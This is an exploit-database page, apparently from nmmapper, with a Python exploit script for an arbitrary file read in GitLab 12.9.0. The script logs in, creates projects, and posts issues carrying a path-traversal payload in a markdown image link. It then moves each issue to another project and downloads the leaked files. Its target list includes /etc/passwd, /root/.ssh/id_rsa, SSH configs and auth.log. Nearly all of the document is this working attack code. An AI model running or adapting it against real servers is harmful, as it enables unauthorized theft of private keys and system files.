Search for hundreds of thousands of exploits

"GitLab 12.9.0 - Arbitrary File Read"

Author

Exploit author

KouroshRZ

Platform

Exploit platform

ruby

Release date

Exploit published date

2020-05-06

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
# Exploit Title: GitLab 12.9.0 - Arbitrary File Read 
# Google Dork: -
# Date: 2020-05-03
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

#####################################################################################################
#                                                                                                   #			
# Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz                                      #
# All rights reserved.                                                                              #
#                                                                                                   #
# Redistribution and use in source and compiled forms, with or without modification, are permitted  #
# provided that the following conditions are met:                                                   #
#                                                                                                   #
#     * Redistributions of source code must retain the above copyright notice, this list of         # 
# conditions and the following disclaimer.                                                          #
#                                                                                                   #
#     * Redistributions in compiled form must reproduce the above copyright notice, this list of    #
# conditions and the following disclaimer in the documentation and/or other materials provided      #
# with the distribution.                                                                            #
#                                                                                                   #
#     * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to   #
# endorse or promote products derived from this software without specific prior written permission. #
#                                                                                                   #
##################################################################################################### 

# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server
# Google Dork: -
# Date: 05/03/2020
# Exploit Author: KouroshRZ
# Vendor Homepage: https://about.gitlab.com
# Software Link: https://about.gitlab.com/install
# Version: tested on gitlab version 12.9.0
# Tested on: Ubuntu 18.04 (but it's OS independent)
# CVE : -

import requests
import json
from time import sleep

# For debugging
proxies = {
    'http' : '127.0.0.1:8080',
    'https' : '127.0.0.1:8080'
}

session = requests.Session()

# config
host = 'http[s]://<gitlab-address>'
username = '<you-gitlab-username>'
password = '<your-gitlab-password>'
lastIssueUrl = ""

def loginToGitLab(username, password):

    initLoginUrl = '{}/users/sign_in'.format(host)

    initLoginResult = session.get(initLoginUrl).text

    temp_index_csrf_param_start = initLoginResult.find("csrf-param")
    temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initLoginResult.find("csrf-token")
    temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)

    submitLoginData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'username' : username,
        'password' : password,
    }

    submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)
    
    if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:
        print("[+] You'e logged in ...")


def createNewProject(projectName):


    initProjectUrl = '{}/projects/new'.format(host)

    initProjectResult = session.get(initProjectUrl).text

    temp_index_csrf_param_start = initProjectResult.find("csrf-param")
    temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initProjectResult.find("csrf-token")
    temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))
    tmp_index_2 = initProjectResult.find('value', tmp_index_1)
    tmp_index_3 = initProjectResult.find('type', tmp_index_2)
    namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]

    createProjectUrl = '{}/projects'.format(host)
    createProjectData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'project[ci_cd_only]' : 'false',
        'project[name]' : projectName,
        'project[namespace_id]' : namespace,
        'project[path]' : projectName,
        'project[description]' : '',
        'project[visibility_level]' : '0'
    }

    createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)
    
    if createProjectResult.status_code == 302:

        print("[+] New Project {} created ...".format(projectName))

def createNewIssue(projectName, issueTitle, file):

    global lastIssueUrl

    initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName)

    initIssueResult = session.get(initIssueUrl).text

    temp_index_csrf_param_start = initIssueResult.find("csrf-param")
    temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start)
    csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]

    temp_index_csrf_token_start = initIssueResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName)

    createIssueData = {
        'utf8=' : '✓',
        csrf_param : csrf_token,
        'issue[title]' : issueTitle,
        'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(file),
        'issue[confidential]' : '0',
        'issue[assignee_ids][]' : '0',
        'issue[label_ids][]' : '',
        'issue[due_date]' : '',
        'issue[lock_version]' : '0'
    }

    createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False)

    if createIssueResult.status_code == 302:

        print("[+] New issue for {} created ...".format(projectName))
        tmp_index_1 = createIssueResult.text.find("href")
        tmp_index_2 = createIssueResult.text.find("redirected")
        lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2]
        print("[+] url of craeted issue : {}\n".format(lastIssueUrl))

def moveLastIssue(source, destination, file):

    # Get destination project ID

    getProjectIdUrl = '{}/{}/{}'.format(host, username, destination)
    getProjectIdResult = session.get(getProjectIdUrl).text

    tmpIndex = getProjectIdResult.find('/search?project_id')
    projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21]
    #print("Project : {} ID ----> {}\n".format(destination, projectId))

    # Get CSRF token for moving issue
    # initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue)
    initIssueMoveUrl = lastIssueUrl
    initIssueMoveResult = session.get(initIssueMoveUrl).text

    temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token")
    temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start)
    csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]

    # print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")

    # Move issue with associated CSRF token
    # moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue)
    moveIssueUrl = lastIssueUrl + "/move"
    moveIssueData = json.dumps({
        "move_to_project_id" : int(projectId)
    })
    headers = {
        'X-CSRF-Token' : csrf_token,
        'X-Requested-With' : 'XMLHttpRequest',
        'Content-Type' : 'application/json;charset=utf-8'
    }
    moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False)

    if moveIssueResult.status_code == 500:
        print("[!] Permission denied for {}".format(file))
    else:
        description = json.loads(moveIssueResult.text)["description"]
        tmp_index = description.find("/")
        fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1])

        print("[+] url of file {}: \n".format(f, fileUrl))
        fileContentResult = session.get(fileUrl)

        if fileContentResult.status_code == 404:
            print("[-] No such file or directory : {}".format(f))
        else:
            print("[+] Content of file {} read from server ...\n\n".format(f))
            print(fileContentResult.text)
	    
    print("\n****************************************************************************************\n")



if __name__ == "__main__":

    loginToGitLab(username, password)

    createNewProject("project_01")
    createNewProject("project_02")

    # Put the files you want to read from server here
	# The files on server should have **4 or more permission (world readable files)
    files = {
        '/etc/passwd',
        '/etc/ssh/sshd_config',
        '/etc/ssh/ssh_config',
        '/root/.ssh/id_rsa',
        '/var/log/auth.log'
		# ...
		# ...
		# ...
    } 

    
    for f in files:
        createNewIssue("project_01", "issue01_{}".format(f), f)
        moveLastIssue("project_01", "project_02",f)
        sleep(3)
Release DateTitleTypePlatformAuthor
2020-05-06"GitLab 12.9.0 - Arbitrary File Read"webappsrubyKouroshRZ
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48431/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.